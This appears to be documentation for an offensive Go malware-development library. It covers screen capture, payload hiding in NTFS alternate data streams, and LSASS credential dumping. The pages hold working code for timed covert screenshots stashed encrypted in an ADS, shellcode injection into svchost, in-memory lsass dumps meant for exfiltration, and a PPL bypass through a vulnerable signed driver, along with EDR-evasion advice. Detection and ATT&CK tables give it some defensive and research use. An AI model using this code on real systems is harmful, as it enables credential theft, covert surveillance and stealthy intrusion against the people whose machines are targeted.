Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.

The implementation uses the GDI device-context model: GetDC(0) acquires a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into that buffer, and GetDIBits extracts the raw BGRA pixel data. A final in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which produces the final []byte. All GDI handles are cleaned up before return.

Multi-monitor support uses EnumDisplayMonitors to collect each monitor's bounding rectangle in virtual-desktop coordinates, then performs a CaptureRect on each rectangle. The rectangles may overlap (mirrored displays) or be non-contiguous (extended desktop) — coordinates are in virtual-desktop space and handled transparently by GDI.

How It Works

sequenceDiagram
    participant Code as "screenshot.Capture()"
    participant GDI as "GDI32 / User32"
    participant Enc as "png.Encode"

    Code->>GDI: GetDC(0) → screen DC
    Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
    Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
    Code->>GDI: SelectObject(memDC, hBmp)
    Code->>GDI: BitBlt(memDC, SRCCOPY)
    Code->>GDI: GetDIBits → BGRA []byte
    Code->>Code: BGRA → RGBA (in-place)
    Code->>Enc: png.Encode(RGBA image)
    Enc-->>Code: []byte PNG
    Code->>GDI: DeleteObject, DeleteDC, ReleaseDC

For CaptureDisplay(i):

  1. enumDisplays() calls EnumDisplayMonitors to build []image.Rectangle.
  2. Index bounds are checked against the slice; ErrDisplayIndex on overflow.
  3. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy()) is called with the monitor's virtual-desktop rectangle.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/screenshot is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "os"

    "github.com/oioio-space/maldev/collection/screenshot"
)

png, err := screenshot.Capture()
if err != nil {
    panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)

Composed (all monitors, timestamped files)

import (
    "fmt"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/screenshot"
)

func captureAll(outDir string) {
    ts := time.Now().Format("150405")
    count := screenshot.DisplayCount()
    for i := 0; i < count; i++ {
        png, err := screenshot.CaptureDisplay(i)
        if err != nil {
            continue
        }
        name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
        _ = os.WriteFile(name, png, 0o600)
    }
}

Advanced (interval capture + encrypt + ADS stash)

Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/screenshot"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
    adsStream = "frames"
)

func main() {
    key, _ := crypto.NewAESKey()
    ctx := context.Background()
    tick := time.NewTicker(30 * time.Second)
    defer tick.Stop()

    for {
        select {
        case <-ctx.Done():
            return
        case <-tick.C:
            png, err := screenshot.Capture()
            if err != nil {
                continue
            }
            blob, _ := crypto.EncryptAESGCM(key, png)
            existing, _ := ads.Read(adsHost, adsStream)
            _ = ads.Write(adsHost, adsStream, append(existing, blob...))
        }
    }
}

See ExampleCapture and ExampleCaptureDisplay in screenshot_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
GetDC(0) + BitBlt(SRCCOPY) in a non-GUI processBehavioural heuristics; screen-capturing from a headless service is anomalous
High-frequency BitBlt callsAPI-frequency telemetry; video-capture rate (>1/s) from a non-known app
Large heap allocation for pixel bufferMemory telemetry; w×h×4 bytes (e.g., 8 MB for 1920×1080) allocated by non-UI process
PNG files or large binary blobs written to diskFile-write telemetry — mitigated by ADS stashing and encryption
EnumDisplayMonitors callLow signal alone; combined with BitBlt adds confidence

D3FEND counters:

  • D3-PA — behavioural API-usage analysis.

Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1113Screen Capturefull — primary, rect, per-monitorD3-PA

Limitations

  • Windows only. GDI APIs are not available on Linux/macOS; build tag windows is required.
  • Requires a desktop session. GetDC(0) returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session.
  • DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content (Netflix, Widevine) from BitBlt results — protected windows appear black.
  • No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
  • Virtual desktop coordinates. Multi-monitor setups with non-standard DPI scaling may produce coordinates that differ from what the user sees in display settings — use DisplayBounds to verify before CaptureRect.

See also

NTFS Alternate Data Streams

MITRE ATT&CK: T1564.004 -- Hide Artifacts: NTFS File Attributes | Detection: Medium

<- Back to Collection Overview

Package: cleanup/ads Platform: Windows (NTFS required)


Primer

Imagine a filing cabinet where every folder has a visible main pocket, but also a row of thin hidden pockets along the back that most people don't know exist. You can stuff papers into those hidden pockets and they won't appear when someone looks inside the folder normally — only someone who specifically searches for the hidden pockets will find them.

NTFS Alternate Data Streams work exactly like that. Every file on an NTFS volume has a default data stream (the file content you see when you open it). But the filesystem also allows any number of named streams on the same file path. Writing document.txt:secret stores data alongside document.txt without affecting its visible size, content, or timestamp. Windows Explorer, dir, and most file browsers only show the default stream — the hidden streams are invisible unless you use streams.exe, PowerShell's Get-Item -Stream *, or an EDR that actively enumerates them.

This makes ADS useful for stashing payloads on legitimate-looking files, persisting data across reboots without dropping new files, and the cleanup/selfdelete package already uses an ADS rename internally to delete the running binary.

How It Works

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant NTFS as "NTFS Driver"
    participant File as "document.txt (on disk)"

    Attacker->>NTFS: os.WriteFile("document.txt:payload", data)
    NTFS->>File: Create named stream ":payload:$DATA"
    Note over File: Default stream unchanged\nHidden stream now exists

    Attacker->>NTFS: FindFirstStreamW("document.txt")
    NTFS-->>Attacker: "::$DATA" (default), ":payload:$DATA"
    Note over Attacker: List() filters out ::$DATA\nReturns [{Name:"payload", Size:N}]

    Attacker->>NTFS: os.ReadFile("document.txt:payload")
    NTFS-->>Attacker: raw bytes

    Attacker->>NTFS: os.Remove("document.txt:payload")
    NTFS->>File: Delete named stream only\nDefault stream untouched

Step-by-step:

  1. Write -- os.WriteFile with path file:streamName creates or overwrites the named stream. The default file content and metadata are unaffected.
  2. List -- FindFirstStreamW / FindNextStreamW enumerate all streams. The List() helper strips the default ::$DATA stream and returns only user-created ones.
  3. Read -- os.ReadFile with the file:streamName syntax reads the hidden stream content directly.
  4. Delete -- os.Remove on file:streamName deletes only that stream; the host file is preserved.
  5. Undeletable files -- The \\?\ prefix bypasses Win32 name normalization, allowing filenames ending with dots (...) that Explorer and cmd.exe cannot navigate to or delete. Only \\?\-prefixed paths or NtCreateFile can access them.

Usage

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/cleanup/ads"
)

func main() {
    host := `C:\Users\Public\desktop.ini`
    payload := []byte{0x90, 0x90, 0xCC} // shellcode placeholder

    // Store shellcode in a hidden stream.
    if err := ads.Write(host, "payload", payload); err != nil {
        log.Fatal(err)
    }

    // Enumerate all hidden streams.
    streams, err := ads.List(host)
    if err != nil {
        log.Fatal(err)
    }
    for _, s := range streams {
        fmt.Printf("stream: %s (%d bytes)\n", s.Name, s.Size)
    }

    // Read it back.
    data, err := ads.Read(host, "payload")
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("read %d bytes\n", len(data))

    // Clean up.
    if err := ads.Delete(host, "payload"); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
)

func main() {
    // 1. Retrieve XOR-encoded shellcode from an ADS on a benign system file.
    //    The host file is untouched; only the hidden stream carries the payload.
    encoded, err := ads.Read(`C:\Windows\System32\licensemanager.exe`, "cfg")
    if err != nil {
        log.Fatal(err)
    }

    shellcode, err := crypto.XORWithRepeatingKey(encoded, []byte("k3y"))
    if err != nil {
        log.Fatal(err)
    }

    // 2. Create an undeletable staging file for persistence.
    //    Trailing-dot names cannot be accessed or removed via Explorer / cmd.
    stagingDir := os.TempDir()
    _, err = ads.CreateUndeletable(stagingDir, shellcode)
    if err != nil {
        log.Fatal(err)
    }

    // 3. Inject via Early Bird APC.
    injector, err := inject.Build().
        Method(inject.MethodEarlyBirdAPC).
        ProcessPath(`C:\Windows\System32\svchost.exe`).
        IndirectSyscalls().
        Create()
    if err != nil {
        log.Fatal(err)
    }
    if err := injector.Inject(shellcode); err != nil {
        log.Fatal(err)
    }
}

Cleanup — Deleting Undeletable Files

ads.DeleteUndeletable(path)

Since these files use trailing-dot filenames that bypass Win32 normalization, only the \\?\ prefix (used internally by DeleteUndeletable) or NT-level deletion can remove them.

Advantages & Limitations

AspectDetail
StealthMedium -- streams are invisible to Explorer and dir. Detected by Sysinternals Streams, PowerShell Get-Item -Stream *, and EDRs that call FindFirstStreamW.
CompatibilityGood -- ADS requires NTFS; FAT32/exFAT volumes silently drop streams. Works on files and directories.
ReliabilityHigh -- stream I/O uses standard os.ReadFile / os.WriteFile; no custom syscalls needed.
Undeletable filesThe \\?\ + trailing-dot trick survives reboots and cannot be removed via Explorer, cmd.exe, or del. Requires elevated NtDeleteFile or a raw NT path to clean up.
LimitationsHost file must already exist on an NTFS volume. ADS size counts against the volume quota. Streams are lost when the file is copied to a non-NTFS destination (e.g., FAT32 USB drive, email attachment).
Detection bypassZone.Identifier (the browser download ADS) is well-known; custom stream names are less scrutinised but uncommon stream names can stand out in EDR telemetry.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

LSASS Credential Dump

<- Back to Collection

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/lsassdump Platform: Windows Detection: High


Primer

lsass.exe holds, in memory, every credential material the OS has seen since boot: NTLM hashes (MSV), Kerberos TGT/keys, WDigest plaintexts (when enabled), DPAPI master keys, cached domain credentials, and CloudAP / Live session tokens. Dumping the process and feeding the blob to mimikatz / pypykatz is the single most common lateral-movement prime in Windows red-team engagements.

The loud path — MiniDumpWriteDump(lsass.exe, out.dmp, MiniDumpWithFullMemory) — is blocked or alerted by every modern EDR: MiniDumpWriteDump is heavily hooked, and so is OpenProcess(PROCESS_VM_READ, lsass.pid) on its own.

credentials/lsassdump ships a quieter variant:

  1. Stealthier process discovery: NtGetNextProcess walks the running-process list with PROCESS_QUERY_LIMITED_INFORMATION only (cheap access that even protected processes grant). No EnumProcesses call, no PID enumeration via ToolHelp.
  2. Minimal audit surface: the single VM_READ request only targets lsass.exe — via NtOpenProcess(CLIENT_ID{pid, 0}, QUERY_LIMITED|VM_READ) after the walk identifies it. No other process is opened with VM_READ.
  3. No dbghelp: the MINIDUMP blob is assembled in-process, streaming to the caller's io.Writer. MiniDumpWriteDump is never imported.
  4. Caller-routed syscalls: every Nt* call accepts an optional *wsyscall.Caller so the operator can route via direct / indirect syscalls / Hell's Gate, bypassing ntdll function-start hooks.

How It Works

sequenceDiagram
    participant C as "Caller"
    participant D as "lsassdump.Dump"
    participant K as "NTDLL / kernel32"
    participant L as "lsass.exe"

    C->>D: OpenLSASS(caller)
    loop NtGetNextProcess walk
        D->>K: NtGetNextProcess(cur, QUERY_LIMITED)
        K-->>D: next handle
        D->>K: NtQueryInformationProcess(ImageFileName)
        alt name == "lsass.exe"
            D->>K: NtQueryInformationProcess(Basic) → PID
            D->>K: NtOpenProcess(pid, QUERY_LIMITED | VM_READ)
            K-->>D: lsass handle
        end
    end
    C->>D: Dump(handle, w, caller)
    loop for each VM region
        D->>K: NtQueryVirtualMemory(handle, addr)
        D->>K: NtReadVirtualMemory(handle, addr, size)
        K-->>D: bytes
    end
    D->>C: MINIDUMP stream to w
    C->>D: CloseLSASS(handle)

Step-by-step:

  1. OpenLSASS(caller) walks the process list with QUERY_LIMITED_INFORMATION.
  2. For each handle, NtQueryInformationProcess(ProcessImageFileName, 27) returns the image path; we basename-match case-insensitively against lsass.exe.
  3. On match, NtQueryInformationProcess(ProcessBasicInformation, 0) yields the PID. The walk handle is closed.
  4. NtOpenProcess opens the target with QUERY_LIMITED | VM_READ. STATUS_ACCESS_DENIEDErrOpenDenied (need admin); STATUS_PROCESS_IS_PROTECTEDErrPPL (Credential Guard / RunAsPPL=1).
  5. Dump(h, w, caller) assembles a MINIDUMP Config:
    • Regions: NtQueryVirtualMemory loop from addr 0, every committed non-free non-guard region, contents via NtReadVirtualMemory in one shot.
    • Modules: K32EnumProcessModulesEx(LIST_MODULES_ALL) + K32GetModuleFileNameExW (path-hooked psapi today; PEB-walk variant is future work).
    • SystemInfo: win/version.Current() under the hood, so credential parsers pick the right per-build offset table.
  6. minidump.Build(w, cfg) streams the four streams (SystemInfoStream, ThreadListStream, ModuleListStream, Memory64ListStream) plus raw region bytes — no intermediate buffer for memory contents.

Usage

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
)

func main() {
    stats, err := lsassdump.DumpToFile(`C:\ProgramData\Intel\snapshot.bin`, nil)
    if err != nil {
        switch {
        case errors.Is(err, lsassdump.ErrOpenDenied):
            // Need admin. Escalate or bail.
        case errors.Is(err, lsassdump.ErrPPL):
            // Credential Guard / RunAsPPL=1 — separate unprotect chantier.
        default:
            log.Fatal(err)
        }
    }
    fmt.Printf("dumped %d regions / %d bytes / %d modules\n",
        stats.Regions, stats.Bytes, stats.ModuleCount)
}

Stealthier syscalls via *wsyscall.Caller

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
stats, err := lsassdump.DumpToFile("snapshot.bin", caller)
// Every NtGetNextProcess / NtQueryInformationProcess /
// NtQueryVirtualMemory / NtReadVirtualMemory / NtOpenProcess above
// goes through caller → no ntdll function-start hook ever fires.

Streaming into memory (no on-disk artifact)

var buf bytes.Buffer
h, err := lsassdump.OpenLSASS(nil)
if err != nil { log.Fatal(err) }
defer lsassdump.CloseLSASS(h)
stats, err := lsassdump.Dump(h, &buf, nil)
// buf now holds the full MINIDUMP — exfil via C2 without ever writing.

Validation

The package's TestDumpToFile_ProducesValidMiniDump runs on the Windows VM under MALDEV_INTRUSIVE=1 and asserts:

  • MDMP magic + version 42899 + 4 streams
  • At least one memory region and one module
  • File size > 1 MB (lsass is typically 50–200 MB of committed VM)

A real run against an unprotected Win10 VM parses cleanly with pypykatz — MSV NT hashes, WDigest plaintexts (if available), Kerberos session material, DPAPI master keys, and CloudAP tokens all come through. Compatibility with mimikatz is equivalent by construction: the stream layout matches MiniDumpWriteDump(MiniDumpWithFullMemory).


Limitations

  • PPL-protected lsass (default on Win11, opt-in on Win10 via RunAsPPL=1 or Credential Guard) refuses VM_READ to userland. The package now ships an EPROCESS-unprotect path (Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable)): caller plugs in a kernel/driver.ReadWriter (RTCore64, GDRV, custom), passes lsass's EPROCESS kernel VA + the build's PS_PROTECTION byte offset, and Unprotect zeros the byte. A subsequent OpenLSASS succeeds normally; Reprotect(tok, rw) puts the byte back. Caller is responsible for resolving lsass's EPROCESS upstream (PsActiveProcessHead walk / handle-table parse / bring your own primitive) — different attack chains use different walks, so wrapping that lookup is not part of the surface. See BYOVD — RTCore64 for the driver-side primitive and kernel/driver/rtcore64's SCM lifecycle.
  • Module enumeration uses K32EnumProcessModulesEx (psapi), which is path-hooked by some EDRs. A PEB-walk variant (InMemoryOrderModuleList) is tracked as future work.
  • Threads are not captured — the ThreadListStream is emitted with zero entries. Credential parsers (mimikatz / pypykatz) only need modules + memory; threads are cosmetic for our use case. Can be added if a consumer explicitly needs context bytes (e.g., live debugger open).
  • No chunked reads: each region is read in one NtReadVirtualMemory. For a 200 MB capture this means a 200 MB allocation cross-pagefile — acceptable for the threat model but a future optimisation.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Credential access

← maldev README · docs/index

Pure-Go credential-extraction primitives for Windows: live LSASS process dumping, offline SAM hive parsing, in-process MINIDUMP parsing, and Kerberos ticket forging. The four packages chain end-to-end — lsassdump produces a dump, sekurlsa parses it into typed credentials, goldenticket re-uses an extracted krbtgt hash to mint a Golden TGT, and samdump covers the local-account branch when LSASS access is unavailable.

flowchart LR
    subgraph host [Live Windows host]
        L[lsass.exe<br>memory]
        S[SYSTEM + SAM<br>hives]
        K[krbtgt key<br>on a DC]
    end
    subgraph extract [credentials/*]
        LD[lsassdump<br>NtReadVirtualMemory<br>+ in-process MINIDUMP<br>+ optional PPL bypass]
        SE[sekurlsa<br>parse MINIDUMP<br>walk MSV / Wdigest /<br>Kerberos / DPAPI / TSPkg /<br>CloudAP / LiveSSP / CredMan]
        SD[samdump<br>REGF parser<br>+ syskey / hashed bootkey<br>+ AES/RC4/DES decrypt]
    end
    subgraph forge [credentials/*]
        GT[goldenticket<br>Forge + Submit]
    end
    L --> LD
    LD --> SE
    S --> SD
    K --> SE
    SE -.krbtgt hash.-> GT
    SD --> OUT[NTLM hashes / pwdump]
    SE --> OUT2[NTLM / Kerberos / DPAPI<br>/ CloudAP PRT / etc.]
    GT --> KIRBI[kirbi blob<br>+ LSA cache inject]

Where to start (novice path):

  1. Want NTLM hashes / Kerberos tickets from the live host? → lsassdumpsekurlsa chain. The two-package pipeline covers 90% of credential extraction needs.
  2. Want local SAM hashes (no LSASS access)? → samdump — offline-friendly REGF parser.
  3. Already have a krbtgt hash and want long-dwell domain admin? → goldenticket — forge + submit.

The Quick decision tree below maps every common operator question to the exact entry point.

Packages

PackageTech pageDetectionOne-liner
credentials/lsassdumplsassdump.mdnoisyNtGetNextProcess + in-process MINIDUMP + EPROCESS PPL unprotect via RTCore64
credentials/sekurlsasekurlsa.mdquiet (parser only)Pure-Go MSV1_0 / Wdigest / Kerberos / DPAPI / TSPkg / CloudAP / LiveSSP / CredMan walkers + LSA-crypto unwrap + PTH write-back + Kerberos kirbi export
credentials/samdumpsamdump.mdquiet (offline) / noisy (LiveDump)Offline SAM hive dump — REGF parser + boot-key permutation + AES/RC4 hashed-bootkey + per-RID DES de-permutation
credentials/goldenticketgoldenticket.mdnoisy (visible TGT lifetime)PAC marshaling + KRB5 Forge + LSA Submit for Golden Ticket attacks

Quick decision tree

You want to…Use
…get NTLM hashes / Kerberos tickets from a live hostlsassdumpsekurlsa.Parse chain
…parse a .dmp you obtained out-of-bandsekurlsa.Parse
…dump SAM offline (no LSASS access)samdump.Dump
…acquire SAM/SYSTEM live (loud)samdump.LiveDump
…forge a Golden Ticketgoldenticket.ForgeSubmit
…pass-the-hash into a live LSASSsekurlsa.Pass / PassImpersonate
…pass-the-ticketsekurlsa.KerberosTicket.ToKirbigoldenticket.Submit
…bypass PPL on lsass.exelsassdump.Unprotect + kernel/driver/rtcore64

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1003.001OS Credential Dumping: LSASS Memorycredentials/lsassdump, credentials/sekurlsaD3-PSA, D3-SICA
T1003.002OS Credential Dumping: SAMcredentials/samdumpD3-PSA, D3-FCA
T1068Exploitation for Privilege Escalationcredentials/lsassdump (PPL bypass via BYOVD)D3-SICA
T1550.002Use Alternate Authentication Material: Pass the Hashcredentials/sekurlsaD3-PSA, D3-SICA
T1550.003Use Alternate Authentication Material: Pass the Ticketcredentials/sekurlsa, credentials/goldenticketD3-NTA
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketcredentials/goldenticketD3-AZET, D3-NTA
T1558.003Steal or Forge Kerberos Tickets: Kerberoastingcredentials/sekurlsa (downstream consumer)D3-NTA

See also

LSASS minidump (live)

← credentials index · docs/index

TL;DR

You want LSASS's in-memory secrets (cleartext passwords, NTLM hashes, Kerberos tickets, DPAPI master keys). LSASS is a process; you dump its memory and parse the credential structures out. This package handles the dump side; the parse side lives in credentials/sekurlsa.

The "heavily-hooked" path is MiniDumpWriteDump from dbghelp.dll — every EDR watches it. This package skips it entirely.

You're targeting…UseConstraint
LSASS without PPL (default on workstations)DumpNeeds SeDebugPrivilege (admin)
LSASS with RunAsPPL=1 (servers, hardened)DumpPPLNeeds admin + BYOVD driver (rtcore64 default) for kernel R/W to flip protection level

What this DOES achieve:

  • Custom in-process MINIDUMP emitter — no dbghelp.dll, no MiniDumpWriteDump call. EDR DbgHelp.dll!* hooks see nothing.
  • NtGetNextProcess for lsass discovery — no OpenProcess / EnumProcesses (both monitored).
  • VAD walk via NtQueryVirtualMemory — output identical to MiniDumpWriteDump's MemoryListStream so the dump parses cleanly in WinDbg / mimikatz / sekurlsa.
  • 6-stream MINIDUMP layout (SystemInfo / ModuleList / MemoryList / ThreadList / Memory64List / Misc) — the canonical subset sekurlsa needs.

What this does NOT achieve:

  • Doesn't bypass kernel callbacksPsSetCreateProcessNotify family still fires when YOU spawn (don't matter here, but callbacks watching cross-process opens DO see your NtGetNextProcess+memory reads). Pair with evasion/kernel-callback-removal for that surface.
  • Doesn't parse the dump — that's credentials/sekurlsa. The dump byte buffer is the hand-off interface.
  • No SAM / NTDS — separate techniques. See credentials/samdump for SAM, credentials/goldenticket.md for AD Kerberos forging.

Primer — vocabulary

Six terms recur on this page:

LSASS (Local Security Authority Subsystem Service) — Windows process responsible for authentication, session management, and credential caching. Holds NTLM hashes, Kerberos tickets, DPAPI master keys, and (when the user chose to type a password) cleartext credentials in memory.

MINIDUMP — Microsoft's compact crash-dump format. A binary file with named "streams" describing the dumped process's modules, memory regions, threads, and metadata. Tools like WinDbg and mimikatz read this format to extract credentials.

PPL (Protected Process Light) — Windows protection level applied to LSASS when HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1. Even SYSTEM cannot OpenProcess(PROCESS_VM_READ) against a PPL process from user mode. Default-on for Windows 11 22H2+; common on hardened servers.

VAD (Virtual Address Descriptors) — kernel structure describing every committed memory region of a process. Walking the VAD via NtQueryVirtualMemory lets the dumper enumerate exactly the same regions MiniDumpWriteDump would walk, without the API hook.

SeDebugPrivilege — Windows privilege required to open arbitrary processes for reading. Granted to admins by default but disabled in the token; must be enabled before use (process/session.EnableSeDebugPrivilege).

BYOVD (Bring Your Own Vulnerable Driver) — load a legitimately-signed-but-vulnerable driver (RTCore64 from MSI Afterburner) that exposes an IOCTL for arbitrary kernel R/W. The PPL flip path uses this to clear the EPROCESS protection bits.

Primer

LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.

The classic path is MiniDumpWriteDump from dbghelp.dll; modern EDRs hook every interesting call inside that function. The lsassdump package skips the hook surface entirely:

  1. Locate lsass via NtGetNextProcess (no OpenProcess / CreateToolhelp32Snapshot / EnumProcesses).
  2. Walk the target's VAD via NtQueryVirtualMemory to enumerate committed regions.
  3. Walk the loaded modules via NtQueryInformationProcess(ProcessLdr…) parsing the PEB's Ldr.InMemoryOrderModuleList.
  4. Read each region's bytes with NtReadVirtualMemory.
  5. Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList, Memory64List, MemoryInfoList, ThreadList stub) directly to an io.Writer.

Every Nt* call accepts an optional *wsyscall.Caller (nil = WinAPI fallback) so the operator can route through direct or indirect syscalls and bypass user-mode hooks.

PPL stands separate: when RunAsPPL=1 (Win 11 default) the kernel rejects PROCESS_VM_READ regardless of token privileges. The package ships a kernel-level bypass via kernel/driver/rtcore64: zero EPROCESS.Protection byte (temporarily), open lsass, restore the byte. The Discover* helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS field offsets without hand-curated tables.

How It Works

flowchart TD
    subgraph PPL [PPL bypass — optional, only if RunAsPPL]
        D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
        D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
        D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
        D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
        D2 --> FE
        D3 --> FE
        FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
    end
    UN -. removes PPL bit .-> OPEN
    OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
    ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
    RD --> DMP[MINIDUMP blob]
    DMP --> SK[credentials/sekurlsa<br>parses extracts]
    UN -. after dump .-> RP[Reprotect<br>restore Protection byte]

Implementation details:

  • OpenLSASS walks the system's process list with NtGetNextProcess — no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or via NtQueryInformationProcess(ProcessBasicInformation).
  • The Memory64List stream is the bulk of the dump — every committed region's BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes).
  • Stats reports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.
  • DiscoverProtectionOffset cross-validates two prologue patterns (PsIsProtectedProcess + PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.
  • Unprotect keeps the original Protection value in PPLToken so Reprotect can restore it. Aborting between the two leaves lsass unprotected; defer the call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — dump unprotected lsass to file

import (
    "fmt"

    "github.com/oioio-space/maldev/credentials/lsassdump"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
    panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)

Composed — dump in-memory + parse without disk

Pipe the MINIDUMP through a bytes.Buffer straight into sekurlsa.Parse:

import (
    "bytes"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
    panic(err)
}
defer lsassdump.CloseLSASS(h)

var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
    panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
    panic(err)
}
defer res.Wipe()

Advanced — PPL bypass via RTCore64

When RunAsPPL=1, drop the protection byte through a kernel ReadWriter, dump, restore.

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
    panic(err)
}
defer drv.Unload()

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)

ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
    panic(err)
}

protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}

tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
    panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck

if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
    panic(err)
}

See ExampleDumpToFile.

OPSEC & Detection

ArtefactWhere defenders look
OpenProcess(lsass, PROCESS_VM_READ)Sysmon Event 10 (process access); the canonical "credential dumping" signal — fires regardless of which API surfaced the open
Sustained NtReadVirtualMemory against lsassEDR memory-access telemetry
Driver load (RTCore64)Sysmon Event 6 (driver loaded), Microsoft vulnerable-driver blocklist
Write of a .dmp fileEDR file-write heuristics flagging dump files in user-writable paths
Calls to MiniDumpWriteDumpDbgHelp hook (we don't use it — but the absence is itself a tell)
EPROCESS.Protection byte transitionETW Threat-Intelligence provider (Win11 22H2+)

D3FEND counters:

  • D3-PSA — flags driver-load + lsass-open combos.
  • D3-SICA — kernel-driver load auditing.
  • D3-FCA — MINIDUMP magic on disk.

Hardening for the operator:

  • Stream the dump through a bytes.Buffer + sekurlsa.Parse in-process — no .dmp file ever lands.
  • Route Nt* through indirect syscalls (wsyscall.MethodIndirect).
  • Open lsass with the minimum access mask the dump needs (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION).
  • Defer Reprotect — never leave lsass unprotected on a crash path.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1003.001OS Credential Dumping: LSASS Memoryfull — region walk + MINIDUMP buildD3-PSA, D3-SICA
T1068Exploitation for Privilege Escalationpartial — PPL bypass via signed-but-vulnerable driverD3-SICA

Limitations

  • Windows-only build/dump pipeline. Pure Go on-disk PE parsing (Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a captured ntoskrnl.exe on Linux/CI.
  • No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
  • Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
